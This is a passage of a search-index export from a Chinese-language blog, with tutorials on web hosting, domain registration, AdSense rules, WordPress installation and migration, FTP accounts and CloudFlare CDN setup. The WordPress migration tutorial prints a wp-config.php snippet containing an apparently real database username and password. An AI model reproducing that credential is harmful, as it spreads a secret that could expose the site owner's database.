這樣的部落格），在產品本身的規格、價格等各方面條件差不多時，消費者通常對於有官方網站的產品會有比較大的信心來購買，這是人之常情，因為大家很容易認為有官方網站的公司規模比較大、比較有保障。\n而要架設一個正式的網站其實有許多門檻，對於一般沒有資訊相關背景知識的人，若是想要自己架設一個網站，並非一件容易的事，以下我們整理了各種網站架設所需要的技術文章，給大家參考。\n主機空間（Hosting） 通常要架設一個網站，首先就是要選擇主機空間，網路上有許多免費的主機空間，但是一般這類免費的主機空間並不適合用來架正式網站，因為這類免費的空間通常穩定度都很差，或是有一大堆 CPU、儲存空間與網路流量的限制，頂多只能用來作為練習與測試，真的要架站的話，請選擇付費的空間，付一點錢真的可以讓您省去很多麻煩。\n選擇主機空間時，第一個問題就是該選擇哪一家主機商？這個問題實在很難說，因為網路上有非常多對於各家主機商的評價文章，但是每個人看法都不同，也不曉得要聽誰的，以我個人而言是直接參考比較有公信力的網站資料（如 PC Magazine），從那些排名比較前面的主機商來選擇。\n另外一個要注意的就是主機空間所提供的方案是否符合您的需求，評價最好的主機商不見得真的適合您的網站，因為主機空間有分不同的等級，如果您的網站只是一個小網站，儲存空間大小與流量都不需要太大，租用一個無限量的高規格主機空間其實是不划算的，這個就要自行衡量了。\nBluehost Bluehost 是一家優質的主機商，也是 WordPress 官方推薦的主機商之一，其所提供的服務從最基本的 shared hosting 到最高階的 dedicated hosting 都有。\nBluehost 網頁主機空間註冊與購買教學 Bluehost 網頁空間基本設定與 WordPress 安裝教學 Bluehost 網頁主機空間 SSH 登入設定教學 Bluehost 網頁主機空間備份 WordPress 網站與資料庫教學 Bluehost 網頁主機空間 FTP 帳號管理與使用教學 Flywheel Flywheel 也是一家 WordPress 官方推薦的主機商之一，後續再補上教學。\nHostGator HostGator 是一家規模頗大的網頁主機商，目前教學文件還在撰寫中。\niPage iPage 是一家價格很便宜的網頁主機商，目前教學文件還在撰寫中。\nDreamHost DreamHost 是一家還不錯的主機商，他在 2015 年被 PC Magazine 雜誌評選為最佳的編輯精選主機空間（editors’ choice），而且他也是 WordPress.org 官方網站上所推薦的主機空間之一。\n我個人也是感覺 DreamHost 還不錯，所以也自己趁 Shared Hosting 打五折的時候買了一年的空間，把網站整個搬進 DreamHost 來做服務，用了一段時間感覺還不錯，他不限制儲存空間、流量與網站數，MySQL 資料庫也沒有限制，所以您不管要放幾個網站都可以，再加上伺服器都是使用固態硬碟（SSD），用 SSH 登入伺服器處理大量資料 （例如壓縮或是解壓縮檔案）真的非常快，我使用起來是很滿意。\n以下是關於 DreamHost 主機空間的教學文章：\n購買 DreamHost 網頁主機空間教學 DreamHost 網頁主機空間 One-Click Install 快速架站，一鍵安裝 WordPress 在 DreamHost 網頁主機空間新增網站與 FTP 帳號 設定 GoDaddy DNS 伺服器，配合 DreamHost 的網頁主機空間 在 DreamHost 空間自己架設 Piwik 網站流量統計分析工具 Linode Linode 是一家老牌子的 VPS 主機商，服務非常穩定。\nLinode VPS 虛擬專屬主機註冊與購買教學 Linode VPS 安裝 Ubuntu Linux 與基本安全性設定 Linode VPS 虛擬主機升級紀錄，維持網站不斷線 Linode VPS 伺服器搬遷紀錄，從新加坡機房轉移至日本機房 本站還有一些 Linode 相關的文章，需要的人可以參考看看。\nDigitalOcean DigitalOcean 也是一家規模比較大的 VPS 主機商，價格上有很多優惠，目前教學文件還在撰寫中。\n000webhost（免費） 000webhost 是一家免費的網頁主機空間，非常適合新手練習架設網站使用。\n000webhost 免費網頁空間架站教學 網域名稱（Domain Name） 在實際架設網站之前，我們要先註冊網站的網域名稱，網域名稱可以自己任意選擇，像我的 G. T. Wang 網站，我就註冊了 gtwang.org 這個網域名稱，只要這個網域名稱被我們註冊下來之後，在這個網域之下我們要架多少網站都可以，例如我們可以架一個 www.gtwang.org 這個官方網站、一個 blog.gtwang.org 這個官方部落格再加上一個 shop.gtwang.org 購物網等，只要網域是您所註冊的，隨便愛放什麼網址都可以。\n許多主機空間都會附贈一個免費的網域名稱，您可以選擇購買網頁主機空間然後使用附贈的網域名稱，而如果您所想要註冊的網域名稱不再附贈的網域名單之中，就要自行另外購買。\nGoDaddy GoDaddy 是全球最大的網域名稱註冊公司，全球市佔率達 30% 以上，以下是關於 GoDaddy 註冊網域名稱的教學：\nGoDaddy 申請購買網域名稱教學 更換網域名稱註冊商教學，從 register 轉移網址到 GoDaddy 內容管理系統（CMS） 依據自己的需求，選擇一個最適合的網站平台，對於初學者而言，建議從比較熱門的內容管理系統（CMS）中來選擇，例如 WordPress、Drupal 或 Joomla 等，以下是各個 CMS 的教學文章。\nWordPress WordPress 是目前最熱門的 CMS，社群廣大、更新快速，佈景主題也非常多，非常適合用於部落格型態的網站，以下是 WordPress 的教學文章：\n從 WordPress 匯入 Blogger 的文章，部落格搬家過程紀錄 WordPress 搬家教學：從 GoDaddy 轉移至 DreamHost 主機空間 ZenCache：加速 WordPress 網站載入速度的快取 Plugin 在 WordPress 網站中加入 Google AdSense 廣告賺取收益 如何在 WordPress 設定 Favicon 網站圖示？ 修改 WordPress 上傳檔案大小限制設定（PHP 上傳大型檔案） WordPress 改變 HTML 文字編輯器的字型大小與顏色 WordPress 設定 HTTPS 網址，強制使用 SSL 安全加密協定教學 HTML5/JavaScript/CSS 技術 分析（Analytics） 最佳化（Optimization） 伺服器校調 Ubuntu Linux 安裝最新版 NGINX 伺服器，支援 HTTP/2 加速網頁傳輸 檔案壓縮 將圖片壓縮與最佳化的免費工具整理，讓圖檔變得更小又不影響品質 YUI Compressor： JavaScript 與 CSS 壓縮工具，產生最小化的網頁 Google Closure Compiler 編譯器：產生最佳化（最小化）JavaScript 程式碼 內容傳遞網路（CDN） 各種免費與付費的 CDN 服務整理 CloudFlare 免費 CDN 伺服器使用教學，加速網站載入速度，阻擋惡意流量 搜尋引擎最佳化（SEO） Google 的搜尋引擎優化線上工具：搜尋趨勢、關鍵字工具、網站管理員、Analytics 其他參考資源 Google Developers 廣告與盈利（Profit） 使用 Google DFP 刊登廣告，解決 AdSense 廣告數量上限問題 新網站是否一定要等六個月才能放置 Google AdSense 廣告？ 去大眾銀行透過西聯匯款領取 Google AdSense 廣告費 Google Publisher Toolbar：即時查詢 AdSense 廣告收益、避免誤點自己的廣告 誤點（不小心點擊）自己的 Google AdSense 廣告怎麼辦？ 從 Google 寄來的 AdSense 確認信 社群與宣傳（Social Media） 付費刊登 Facebook 廣告，增加粉絲專頁的人氣 設計（Design） 以 Google Analytics 內容實驗 API 進行 A/B 測試 安全性（Security） NGINX 設定密碼認證與限制可存取的 IP 位址，控制頻寬與連線數 NGINX 設定 HTTPS 網頁加密連線，建立自行簽署的 SSL 憑證 NGINX 使用 Let’s Encrypt 免費 SSL 憑證設定 HTTPS 安全加密網頁教學 其他 申請 No-IP 動態 DNS 服務，以浮動 IP 架站教學 ","permalink":"https://blog.gtwang.org/web-building/","summary":"\u003cp\u003e這理整理了一系列關於網站架設的教學資源，讓您可以完整了解一個網站的成立所需要的準備工作以及各種相關的技術。\u003c/p\u003e\n\u003cp\u003e在這個資訊的時代，幾乎人人都會上網，台灣每日平均使用智慧型手機上網的時數還是\u003ca href=\"http://www.bnext.com.tw/article/view/id/33403\"\u003e世界第一\u003c/a\u003e，為了搶食這塊網路大餅，許多傳統的商家除了經營實體商店之外，也紛紛加上網路宣傳與銷售的管道，拓展產品的銷售通路，以期增加公司的獲利。\u003c/p\u003e","title":"網站架設（Web Building）"},{"content":"許多人成立網站之後，都想要趕快放 Google AdSense 廣告上去賺錢，但是又不想等六個月，這裡告訴你怎麼辦。\nGoogle AdSense 是現在全球最知名的網路廣告商，只要有自己網站的人，都可以靠 Google AdSense 來賺取收益，而許多人知道 Google AdSense 廣告可以賺錢之後，都想趕快成立一個網站或部落格來放廣告賺錢，不過 Google AdSense 的申請原則卻規定一個新網站至少要等六個月才能申請加入 AdSense，要等六個月對一般不了解網路生態的人而言，確實是很久，不過以我個人的看法，這樣的規定是必要的，以下我來解釋為什麼。\n為什麼要等六個月？ 間單來說，六個月只是大原則，Google 只是要確保 AdSense 的廣告不會放到一些沒什麼內容的垃圾網站上，影響 Google 的廣告品質與成效。\nGoogle 在審核網站時主要是看網站的品質（quality），也就是網站內容是否夠豐富？是否都是原創內容？只要網站品質好，Google 通常也不會有太大的意見，這條限制主要的用意在於控管播放 AdSesne 廣告網站的品質，不要讓一些不入流的網站來造成 Google 的困擾。\n我可以不要等六個月嗎？ 這是大家都想問的問題，我們剛剛說過，Google 重視的是網站品質，只要網站內容夠豐富、品質夠好、讀者夠多、流量夠大，也是有可能一個月就通過 Google 的審核。\n但是如果你的網站沒什麼內容，只是用複製貼上的方式填塞，那麼就不要有太大的期望，而且就算通過也可能賺不到什麼錢。\n到底怎樣的網站才算品質好的網站？怎樣才能賺到錢？ 要提升網站的品質，主要有兩個方向：\n品質（quality）：網站上的內容要是自己寫的，不要轉貼別人的，文章遣詞用字要注意，別隨便寫寫充數，否則都是垃圾文章，是很難吸引讀者的。 數量（quantity）：網站內容要有一定的量，到底要多少就很難說了，以部落格而言我感覺至少要有五十篇以上的文章，才能慢慢吸引比較足夠的流量。 等到網站的質與量不斷提升之後，您就可以觀察網站的流量，網站的流量跟網站的收益非常有關係，您可以透過流量來估計如果您放置 Google AdSense 廣告可以賺多少錢？下面這張圖是我個人的 AdSense 千次曝光收益（RPM）狀況：\n千次曝光收益的數值就是網頁被瀏覽一千次，平均可以賺多少錢，假設你的網站的千次曝光收益是 $0.5 美金，而網站一個月的網頁瀏覽次數是 5000 次，那麼一個月所產生的收益就是 $0.5 / 1000 * 5000 = $2.5 美金。\n所以您注意到了嗎？如果您的網站流量不夠，要賺錢是很難的，再加上千次曝光收益的值是不固定的，如果您的網站設計不良，讓大家都不太想看，千次曝光收益可能就會很低，像我的網站初期就是這樣，所以千次曝光收益很低，都在 $0.1 美金以下，是到後來才慢慢提升到 $1 美金左右。\n因為 AdSense 的收益至少要累積到 $100 美金才會開始支付，而如果千次曝光收益只有 $0.1 美金，是根本領不到錢的。\n我已經通過 AdSense 的申請了，我可以把廣告放進其他的未滿六個月的新網站嗎？ 這是一個灰色地帶的問題，由於您已經通過 AdSense 的申請，所以其實您若是直接把 AdSense 程式碼貼進未滿六個月的新網站中，也是可以正常運作的，不過建議是等個一兩個月，先把網站都準備好、充實內容、登入各大搜尋引擎，等到流量有了之後在放廣告也不遲，其實自己算一下就知道，如果流量低，早放晚放是差不了幾塊錢的。\n以我個人的經驗，一個新網站從成立到真的可以賺到錢，不是幾個月的事情，所以如果您真的想用網站賺錢，請有長期抗戰的心理準備，別急著放廣告，好好經營網站比較實際，就算提早幾個月把廣告放上去，若是網站還沒準備好，其實也是賺不到錢的啦。\n","permalink":"https://blog.gtwang.org/tips/google-adsense-6-month-rule-for-new-website/","summary":"\u003cp\u003e許多人成立網站之後，都想要趕快放 Google AdSense 廣告上去賺錢，但是又不想等六個月，這裡告訴你怎麼辦。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003eGoogle AdSense 是現在全球最知名的網路廣告商，只要有自己網站的人，都可以靠 Google AdSense 來賺取收益，而許多人知道 Google AdSense 廣告可以賺錢之後，都想趕快成立一個網站或部落格來放廣告賺錢，不過 \u003ca href=\"https://support.google.com/adsense/answer/9724?hl=zh-Hant\"\u003eGoogle AdSense 的申請原則\u003c/a\u003e卻規定一個新網站至少要等六個月才能申請加入 AdSense，要等六個月對一般不了解網路生態的人而言，確實是很久，不過以我個人的看法，這樣的規定是必要的，以下我來解釋為什麼。\u003c/p\u003e","title":"新網站是否一定要等六個月才能放置 Google AdSense 廣告？"},{"content":"DreamHost 網頁主機空間所提供的 One-Click Install 功能，可以讓使用者十分鐘就完成 WordPress 網站的架設。\nDreamHost 是 WordPress 官方推薦的主機空間之一，其所提供的一鍵安裝（One-Click Install）功能對於新架站的使用者確實非常方便，即便是不了解 PHP 與 MySQL 資料庫的人，也可以在十分鐘之內架好一個網站，以下是 DreamHost 一鍵安裝 WordPress 的網站架設示範。\nStep 1\n如果要架設的網站網址是全新的，在架設網站之前，要先新增網站。\nStep 2\n在「One-Clock Installs」頁面中，選擇「WordPress」。\nStep 3\n選擇要安裝的網站與路徑，如果要安裝在網站的根目錄，後面路徑的部分就可以不需要填。然後選擇要使用的資料庫，您可以讓好幾個 WordPress 網站共用一個資料庫，或是自動建立一個新的資料庫來使用，我個人建議是建立一個新的，反正 DreamHost 沒有限制資料庫的數量，將每個網站的資料庫獨立出來，比較不容易搞混。最後按下「Install it for me now!」。\nStep 4\n如果出現成功的畫面，就表示沒問題，接著要等個幾分鐘讓它進行安裝。\nStep 5\n等待 DreamHost 安裝好之後，打開新的網址，就可以看到 WordPress 的設定畫面了，首先選擇語言。\nStep 6\n設定網站的標題、使用者帳號與密碼等資訊。\nStep 7\n這樣就完成了！\nStep 8\n使用剛剛設定的帳號登入測試。\nStep 9\n這樣就可以開始使用新的 WordPress 網站了，整個安裝過程大概不用十分鐘，十分迅速。\n","permalink":"https://blog.gtwang.org/wordpress/dreamhost-one-click-install-wordpress/","summary":"\u003cp\u003e\u003ca href=\"https://www.dreamhost.com/\"\u003eDreamHost\u003c/a\u003e 網頁主機空間所提供的 One-Click Install 功能，可以讓使用者十分鐘就完成 WordPress 網站的架設。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e\u003ca href=\"https://www.dreamhost.com/\"\u003eDreamHost\u003c/a\u003e 是 \u003ca href=\"https://wordpress.org/hosting/\"\u003eWordPress 官方推薦的主機空間\u003c/a\u003e之一，其所提供的一鍵安裝（One-Click Install）功能對於新架站的使用者確實非常方便，即便是不了解 PHP 與 MySQL 資料庫的人，也可以在十分鐘之內架好一個網站，以下是 DreamHost 一鍵安裝 WordPress 的網站架設示範。\u003c/p\u003e","title":"DreamHost 網頁主機空間 One-Click Install 快速架站，一鍵安裝 WordPress"},{"content":"自行架設的 WordPress 網站如何更換網頁主機空間？這裡示範如何將整個 WordPress 網站備份下來，並且遷移至新的主機空間。\n自己架設用 WordPress 架設網站的好處就是可以自己選擇主機空間，如果遇到品質太差的主機商（網路慢、常斷線等問題），也可以立即更換，不會像一般免費的部落格平台一樣難以轉移，不過 WordPress 的轉移也是有許多地方需要注意，否則轉移之後也很容易跑出一些問題。\n我的 G. T. Wang 網站之前從 Blogger 轉移至 GoDaddy 空間，並改以 WordPress 架站，但是因為 GoDaddy 使用上不甚滿意，所以又馬上去 DreamHost 買了另外一個空間，把設定好的 WordPress 網站再轉過去，以下是網站轉移的步驟與相關注意事項。\n雖然這裡我是以 GoDaddy 與 DreamHost 做例子，但不管您使用的主機空間是哪一家，WordPress 網站的備份與轉移步驟都差不多，會有差異的只有主機商提供的操作介面而已，大原則抓住的話，應該都沒問題。\n備份 WordPress 網站 轉移 WordPress 網站的第一步就是要把網站整個備份出來，而一般的 WordPress 網站內容可以分為兩大部分：\n網頁主機上的各種檔案：包含 WordPress 核心程式、plugins、佈景主題（themes）、團片與其他各種靜態檔案。 資料庫：包含網站的文章、回應與各種設定等。 這兩個部分通常主機商都會有提供備份的介面可以使用，只不過是好用還是不好用就不一定了。以 GoDaddy 的 cPanel 介面來說，是很方便的，以下是備份步驟。\nStep 1\n在 cPanel 管理介面中，選擇「Backup」。\nStep 2\n在「Backup」功能中，選擇「Full Backup」備份所有的資料（包含所有的檔案、設定與 MySQL 資料庫）。\nStep 3\n由於 GoDaddy 會定期自動做備份，這裡可以選擇之前已經打包好的備份壓縮檔，或是產生一個最新的備份，當然如果既有的備份檔已經夠新了，就可以不需要再產生一個，直接下載即可。\n通常產生新的壓縮檔都要等一段時間（因為檔案可能會很大），這裏可以填入自己的 Email，GoDaddy 會在壓縮檔產生之後用 Email 通知您來下載。\nStep 4\n將備份的壓縮檔下載之後，可以解壓縮出來看一下，裡面會包含整個主機空間所有的資料與設定，不過其中有很多東西在轉移網站的過程中是不需要的，這裏我們只需要 homedir 與 mysql 這兩個目錄的資料而已。\n雖然其他的資料現在沒有用，不過把所有的資料都保存下來還是比較保險，萬一哪一天我們又想要搬回 GoDaddy 時，就會用到了（不過應該是不太可能）。\n轉移 MySQL 資料庫 將所有資料都備份下來之後，接著就要開始將 MySQL 轉移到新的主機上了。\nStep 1\n在轉移 MySQL 之前，先確認一下 WordPress 所使用的資料庫，在 homedir 中找尋 WordPress 網頁放置的目錄，以 GoDaddy 來說是放在 public_html 中，裡面應該會有一個 wp-config.php 這個 WordPress 設定檔，將其開啟之後，找到類似下面這段設定資料庫的 PHP 程式碼。\n/** The name of the database for WordPress */ define(\u0026#39;DB_NAME\u0026#39;, \u0026#39;i1268301_wp1\u0026#39;); /** MySQL database username */ define(\u0026#39;DB_USER\u0026#39;, \u0026#39;i1268301_wp1\u0026#39;); /** MySQL database password */ define(\u0026#39;DB_PASSWORD\u0026#39;, \u0026#39;V6i39vF#T@Spw\u0026#39;); /** MySQL hostname */ define(\u0026#39;DB_HOST\u0026#39;, \u0026#39;localhost\u0026#39;); 這一段設定中，我們可以看出來 WordPress 所使用的資料庫（database）是 i1268301_wp1，資料庫的使用者名稱是 i1268301_wp1，密碼為 V6i39vF#T@Spw，MySQL 伺服器主機位址為 localhost。\nStep 2\n從備份檔的 mysql 目錄中找尋 i1268301_wp1 這個資料庫的 .sql 備份檔案。\n如果您將這個 .sql 檔案用文字編輯器打開，應該可以直接看到 WordPress 的文章內容，確認好 .sql 檔案是哪一個之後，就可以準備將它放進新的資料庫中了。\nStep 3\n在新的主機管理介面中（這裡以 DreamHost 做示範）建立一個資料庫，這裡的資料庫名稱、使用者名稱、密碼與資料庫伺服器的主機名稱都可以自己任意調整，不過這裏設定好之後，要記得回去修改 wp-config.php 中的設定，讓兩邊的設定一致。\nStep 4\n開啟 phpMyAdmin 的資料庫管理介面，選擇 i1268301_wp1 資料庫，並將剛剛找到的 i1268301_wp1.sql 檔案匯入。\nStep 5\n匯入完成之後，大約會像這樣，這樣資料庫的轉移就完成了。\n每個網站所擁有的資料表可能都會不一樣，這會跟網站使用哪一些 plugins 有關，只要匯入過程沒有錯誤訊息即可。\n轉移網頁檔案 在資料庫轉移完成之後，最後就是將剩下的網頁資料上傳到新的主機空間上。\nStep 1\n更新 wp-config.php 中的設定，確認資料庫名稱、使用者名稱、密碼與資料庫伺服器位址都與新的資料庫設定一致。\nStep 2\n將 public_html 目錄中所有的檔案全部上傳至新的網頁主機空間，通常主機商都會提供 FTP 的方式給使用者傳送檔案（如 DreamHost 的 FTP）。\nStep 3\n等所有的檔案都上傳之後，就可以開啟瀏覽器測試看看網站是否都正常，若沒有問題的話，就完成了。\n這裡所敘述的步驟是最單純的狀況，也就是網址（URL）都沒有變動的情況，如果新網站的網址或路徑跟原來的不同，那就要再修改一下 WordPress 的設定，這個部分比較複雜，建議參考 WordPress 官方的操作說明。\n參考資料 高登工作室 sofun.tw ","permalink":"https://blog.gtwang.org/web-hosting/wordpress-migration-from-godaddy-to-dreamhost/","summary":"\u003cp\u003e自行架設的 WordPress 網站如何更換網頁主機空間？這裡示範如何將整個 WordPress 網站備份下來，並且遷移至新的主機空間。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e自己架設用 WordPress 架設網站的好處就是可以自己選擇主機空間，如果遇到品質太差的主機商（網路慢、常斷線等問題），也可以立即更換，不會像一般免費的部落格平台一樣難以轉移，不過 WordPress 的轉移也是有許多地方需要注意，否則轉移之後也很容易跑出一些問題。\u003c/p\u003e","title":"WordPress 搬家教學：從 GoDaddy 轉移至 DreamHost 主機空間"},{"content":"這裡介紹如何在 DreamHost 網頁主機空間中，新增一個新的網站，並且用 FTP 上傳網頁資料。\n在購買了 DreamHost 的網頁主機空間之後，接下來就是要開始新增網站，正常來說在購買的過程中我們所填入的網站在這時候已經在上面了，但因為 DreamHost 是不限網站數量與容量的，通常我們都會在上面設置多個網站，有一些做實際服務，另外一些做測試，這裡介紹如何加入更多其他的網站。\nStep 1\n在 DreamHost 的管理介面中，選擇「Manage Domains」頁面，點選上方的「Add Hosting to a Domain / Sub-Domain」。\nStep 2\n填入網站的基本設定，首先是網址的部分，如果您的網址是 www.gtwang.org，請填入 gtwang.org 即可，在 DreamHost 的設定中，這兩個網址都是使用同一個網站設定（這也是我覺得很困擾的設計）。\n接著選擇是否要在網址列中顯示 www，也就是說您想要使用者看到的網址是 www.gtwang.org 還是 gtwang.org，或是兩個都可以。最後設定 FTP 帳號與網頁資料在主機上的存放路徑。\nStep 3\n設定一些網站的選項，包含安全防護、網站加速與 CloudFlare CDN 的功能，這些如果您不熟悉，直接用預設值即可。\nStep 4\n最後按下「Fully host this domain」按鈕。\nStep 5\n如果您的 FTP 帳號的密碼還沒設定，請在「Manage Users」頁面中，點選對應帳號的「Edit」。\nStep 5\n這裏可以調整帳號的類型，您可以設定帳號是要用什麼方式登入，可用的選項有一般的 FTP、加密的 SFTP 與 SSH 登入，下方可以設定密碼。\nStep 6\n設定完成之後，就可以開始用 FTP 上傳資料了，至於 FTP 伺服器的 IP 位址通常都跟網頁主機相同，這個在設定 DNS 的時候，應該可以看到自己的 ftp 的主機與 IP 位址。\n","permalink":"https://blog.gtwang.org/web-hosting/dreamhost-add-domain-and-ftp-account/","summary":"\u003cp\u003e這裡介紹如何在 \u003ca href=\"https://www.dreamhost.com/\"\u003eDreamHost\u003c/a\u003e 網頁主機空間中，新增一個新的網站，並且用 FTP 上傳網頁資料。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e在\u003ca href=\"/web-hosting/buying-dreamhost-web-hosting-tutorial/\"\u003e購買了 DreamHost 的網頁主機空間\u003c/a\u003e之後，接下來就是要開始新增網站，正常來說在購買的過程中我們所填入的網站在這時候已經在上面了，但因為 DreamHost 是不限網站數量與容量的，通常我們都會在上面設置多個網站，有一些做實際服務，另外一些做測試，這裡介紹如何加入更多其他的網站。\u003c/p\u003e","title":"在 DreamHost 網頁主機空間新增網站與 FTP 帳號"},{"content":"這裡介紹 CloudFlare 這個免費的 CDN 服務，它可以有效加速網站載入速度，並且阻擋惡意流量，還可以代管 DNS。\n如果要讓網頁的載入速度更快，除了使用快取技巧（如 WordPress 的 ZenCache plugin）、減少動態網頁與資料庫查詢之外，還有一個很常見的方式就是使用內容傳遞網路（content delivery network，簡稱 CDN）伺服器，分散網頁伺服器的負載，縮短資料傳送距離，達到加速的目的。\n通常一般的網站只要加上 CDN 之後，都可以有效提升網頁的載入速度，所以現在大多數的網站都會使用這樣的服務來改善訪客的使用者經驗，網路上有許多免費與付費的 CDN 服務，其中 CloudFlare 是一個最熱門、最普遍的 CDN 服務，如果您不想花錢購買付費的 CDN，那麼 CloudFlare 可以說是首選。\nCloudFlare 的伺服器遍佈全球，除了可以有效降低資料傳遞距離之外，還具了備阻擋惡意留量的功能，以及代管 DNS 的服務，由於它的服務品質基本上已經有付費 CDN 的水準，所以有非常多的大型網站都選擇使用 CloudFlare。\n註冊 CloudFlare 以下是 CloudFlare 的註冊與使用方式。\nStep 1\n開啟 CloudFlare 的註冊網頁，填入自己的電子郵件信箱，自己取一個帳號名稱，並設定密碼。\nStep 2\n填入自己的網域名稱。\n這裡是要填網域名稱，不是主機名稱，CloudFlare 隨後會代管整個網域的 DNS。\nStep 3\nCloudFlare 會自動掃描整個網域下面的 DNS 紀錄，這裡會顯示掃描的結果，請仔細檢查是否有遺漏任何的 DNS 紀錄，若有遺漏的話，可以自己補上去。\n由於我們要讓 CloudFlare 代管整個網域的 DNS，所以一定要檢查仔細，如果漏掉一些重要的 DNS 紀錄，可能會讓網站整個斷線。\nStep 4\n選擇適合自己的方案，第一次使用的話，建議用預設值就好了，這個之後也可以再改。\nStep 5\n接著要準備修改 DNS 伺服器，先將這裡的兩台 DNS 伺服器複製起來。\n這裡我的 DNS 伺服器是 guss.ns.cloudflare.com 與 lisa.ns.cloudflare.com，每個網站在註冊時可能都會不一樣。\nStep 6\n修改自己原本的 DNS 伺服器設定，這裡以 GoDaddy 做示範。開啟網域的 Settings 頁面，找到 nameservers 設定的部分，點選 Manage。\nStep 7\n將 nameserver 改為上面 CloudFlare 所提供的那兩台。\n修改好並儲存之後，通常要等一段時間才會生效。\nStep 8\n在等 DNS 的 nameserver 設定生效之後，在 CloudFlare 網頁上，剛剛加入的網域就會顯示一個綠色的小勾勾，這樣就表示設定完成了。\n流量報表 設定好 CloudFlare CDN 之後，所有網站的流量都會經過 CloudFlare CDN 伺服器再連到我們的伺服器，而所有資料的快取與惡意流量的阻擋問題，CloudFlare 都會自動處理。過了一段時間之後，可以回來 CloudFlare 的網頁上瀏覽網頁流量的報表。\n在流量的報表中，除了基本的流量統計之外，還有惡意流量阻擋次數，以及透過快取所節省的流量。\n開發模式 由於 CloudFlare 會使用快取的方式將網頁暫存在 CDN 伺服器上，如果原始的網頁有變動時，一定會有一段更新的時間差，這個對於一般的訪客而言問題不大，但是如果是網站管理人員在修改網頁時，無法及時檢視更新的內容，會造成開發上的困擾，這時候就可以點選右方的齒輪圖示，啟用 CloudFlare 的開發模式（development mode）。\n啟用開發模式之後，網站的所有變動都會立即被顯示出來，以利於開發者及時查看修改的結果。開發者模式預設會持續三個小時，三小時之後 CloudFlare 會自動恢復成正常的快取模式，當然您也可以自己手動切換。\n最佳化與安全性設定 在 CloudFlare 的設定（settings）頁面中，有非常多關於安全性防護與效能最佳化的選項可以調整，例如 DDoS 防護、Email 位址的 obfuscation、快取時間、HTML/JavaScript/CSS 的最小化等等，您可以針對各種功能個別做設定。\n因為這裡的選項非常多，如果不想逐一調整（或是您根本搞不清楚這些是什麼），可以使用既有的 profile 套裝設定，直接選擇安全性的高低以及最佳化的層級就好，剩下的 CloudFlare 會自動調整。\n另外這裡有一個「Purge cache」按鈕，可以讓您手動清除所有的快取。\nWordPress 與 CloudFlare 如果您的網站是使用 WordPress 架設的話，加上 CloudFlare CDN 之後，所有的訪客在留言時所記錄的 IP 位址會都變成 CDN 的位址，這個問題可以藉由安裝 CloudFlare 的 plugin 來解決。\nCloudFlare 的 WordPress plugin 除了可以讓訪客的 IP 位址正常顯示之外，他也可以整合 WordPress 的垃圾留言資訊，提供給 CloudFlare 作為參考，加強網站的防護措施。\n使用 ping 實測 在我的設定中，blog.gtwang.org 與 ftp.gtwang.org 完全是同一台機器，而只有 blog.gtwang.org 這台有使用 CloudFlare 的加速，ftp.gtwang.org 因為是 FTP 上傳檔案使用的，所以沒有使用 CloudFlare 的 CDN，以下是以 ping 測試的結果。\n在加上 CDN 之後，理論上用 ping 來測試網頁伺服器的話，都會比較快一些，不過因 DNS 在修改之後，需要等待一段時間才會生效，而這個時間的長短會跟自己的 DNS 設定有關（也就是 TTL），我是等一天之後才測試的。\n","permalink":"https://blog.gtwang.org/web-development/cloudflare-free-cdn-server-tutorial/","summary":"\u003cp\u003e這裡介紹 CloudFlare 這個免費的 CDN 服務，它可以有效加速網站載入速度，並且阻擋惡意流量，還可以代管 DNS。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e如果要讓網頁的載入速度更快，除了使用快取技巧（如 WordPress 的 \u003ca href=\"/wordpress/zencache-wordpress-cache-plugin/\"\u003eZenCache plugin\u003c/a\u003e）、減少動態網頁與資料庫查詢之外，還有一個很常見的方式就是使用內容傳遞網路（content delivery network，簡稱 CDN）伺服器，分散網頁伺服器的負載，縮短資料傳送距離，達到加速的目的。\u003c/p\u003e","title":"CloudFlare 免費 CDN 伺服器使用教學，加速網站載入速度，阻擋惡意流量"},{"content":"這裡介紹購買完 DreamHost 網頁主機空間之後，該如何設定 GoDaddy 的 DNS 讓網站正常運作。\n如果您在購買 DreamHost 的主機空間之後，不想用它的 DNS 伺服器（例如使用 GoDaddy 的 DNS 伺服器），那就要做一些設定才能讓網站正常連線，由於我的習慣是都用 GoDaddy 的 DNS 伺服器，所以這裡用 GoDaddy 做示範，基本上用哪一家的 DNS 都大同小異，以下是設定的步驟。\nStep 1\n在 DreamHost 